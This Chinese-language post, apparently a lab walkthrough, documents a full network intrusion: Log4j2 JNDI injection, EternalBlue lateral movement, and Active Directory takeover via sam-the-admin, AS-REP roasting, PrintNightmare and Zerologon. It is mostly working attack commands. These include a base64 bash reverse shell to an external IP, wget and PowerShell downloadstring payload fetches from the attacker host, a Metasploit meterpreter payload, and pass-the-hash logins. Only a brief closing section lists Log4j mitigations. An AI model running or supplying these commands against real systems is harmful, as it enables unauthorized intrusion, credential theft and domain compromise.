Apache Log4j2网络安全事件

2024-08-19 16:56:45 浏览数 (2)

一 .利用 log4j2 漏洞获取目标机权限

1.信息搜集

访问目标端口,寻找可能存在的漏洞

2.反弹shell

cd /opt/Tools/Log4j2_shell

echo -n 'bash -i >& /dev/tcp/123.180.208.153/7777 0>&1' | base64

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64 编码的结果}|{base64,-d}|{bash,-i}" -A "IP"

#运行 exp,攻击 机构造恶意 rmi

nc -lvvp 7777 #开启监听

浏览器访问 http://10.0.0.11:8080/hello,同时使用 burpsuite 截取这个 请求包

在 burpsuite 中修改 GET 请求为 POST 请求并发送到 repeater

payload=${jndi:rmi://123.180.208.153:1099/yqlyui} #构造 payload 让目 标加载恶意类

成功获取反弹 shell

成功获取用户名和密码

二.利用永恒之蓝漏洞进行内网渗透

1、内网信息收集

(1)观察是否为 docker 环

cat /proc/1/cgroup

(2)收集敏感信息

(3)联系之前外网收集时发现目标(10.0.0.11)22 端口开放,尝试 远程登录

利用ssh连接 ssh root@10.0.0.1

(4)查看路由信息发现 10.10.30.0/24 网段

cat /etc/netplan/00-installer-config.yaml

(5)使用 for 循环发现存活主机

for i in 10.10.30.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

2、内网渗透

(1)将 agent_linux_x64 通过 ssh 上传 1

切换到 Venom 工具目录

cd /opt/Tools/TunnelTools/Venom

开启http服务

python3 -m http.server

在 10.0.0.11 上下载 agent_linux_x64

wget http://123.180.208.153:8000/agent_linux_x64

赋予agent_linux_x64执行权限

chmod 777 agent_linux_x64

(2)在 kali 上使用 admin_linux_x64 连接 admin_linux_x64

./admin_linux_x64 -lport 12000

./agent_linux_x64 -rhost 123.180.208.153 -rport 12000

(3)使用 venom 开启 socks5 代

vim /etc/proxychains4.conf #攻击机配置代理文

(4)使用 proxychains代理开始攻击

proxychains msfconsole

(1)使用 smb 版本探测模块对 10.10.30.0/24 进行初步探测

use auxiliary/scanner/smb/smb_version

set rhosts 10.10.30.0/24

run

发现 10.10.30.21 开放了 smb 相关端口

(2)使用 ms17-010 模块进行扫描,进一步探测是否存在永恒之蓝漏洞

use auxiliary/scanner/smb/smb_ms17_010

set rhosts 10.10.30.21

run

发现存在永恒之蓝漏洞

(3)使用永恒之蓝攻击模块进行攻击

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp

set rhost 10.10.30.21

run

成功获取目标(10.10.30.21)权限

(4)对目标(10.10.30.21)进行信息收集

sysinfo

发现存在域环境,尝试使用mimikatz 获取 10.10.30.21 的账户密码

发现此时需要等待目标登录后采后获取到密码

使用cs来定位域控 ip

三.获取域控权限

1.结合收集到的ip和账户密码,利用脚本获取域控

cd /opt/Tools/ActiveDirectoryTools/sam-the-admin

proxychains python3 sam_the_admin.py "zwxa/scoot:Password123" -dc-ip 10.10.40.21 -shell

2、利用CVE-2021-1675漏洞

(1)ldap 匿名访问搜集账户

ldapsearch -H ldap://10.10.40.21 -x -b DC=zwxa,DC=com "(objectClass=person)" | grep "sAMAccountName:" | awk -F ":" '{print $2}' > users.txt

(2)寻找不需要预身份验证的用户并利用脚本获取密码

impacket-GetNPUsers zwxa.com/ -usersfile users.txt -dc-ip 10.10.40.21

(3)破解获得的加密密码

john --wordlist=/usr/share/wordlists/rockyou.txt hash

(4)使用 evil-winrm 登录目标

evil-winrm -i 10.10.40.21 -u 'scoot' -p 'Password123‘

(5)CVE-2021-1675 提权,创建 adm1n 的管理

cd /opt/Tools/ActiveDirectoryTools/CVE-2021-1675

python3 -m http.server

iex(new-object system.net.webclient).downloadstring('http://123.180.208.153:8000/CVE -2021-1675.ps1')

evil-winrm -i 10.10.40.21 -u 'adm1n' -p 'P@ssw0rd' net localgroup administrators

3、利用CVE-2020-1472

(1)使用脚本将域控机器账户密码置换成空

cd /opt/Tools/ActiveDirectoryTools/CVE-2020-1472

python3 cve-2020-1472-exploit.py -n domain -t 10.10.40.21

(2)获取 administrator hash

impacket-secretsdump zwxa/domain$@10.10.40.21 -no-pass

(3)wmiexec 登录

impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:6136ba14352C8a09405bb14912797793 zwxa/administrator@10.10.40.21

此时成功获取到域控权限

四、修复方案

1.升级到 log4j 2.15.0 及以上

2.添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true

3.修改配置文件 log4j2.formatMsgNoLookups=True

4.修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

5.关闭应用对外的网络连

0 人点赞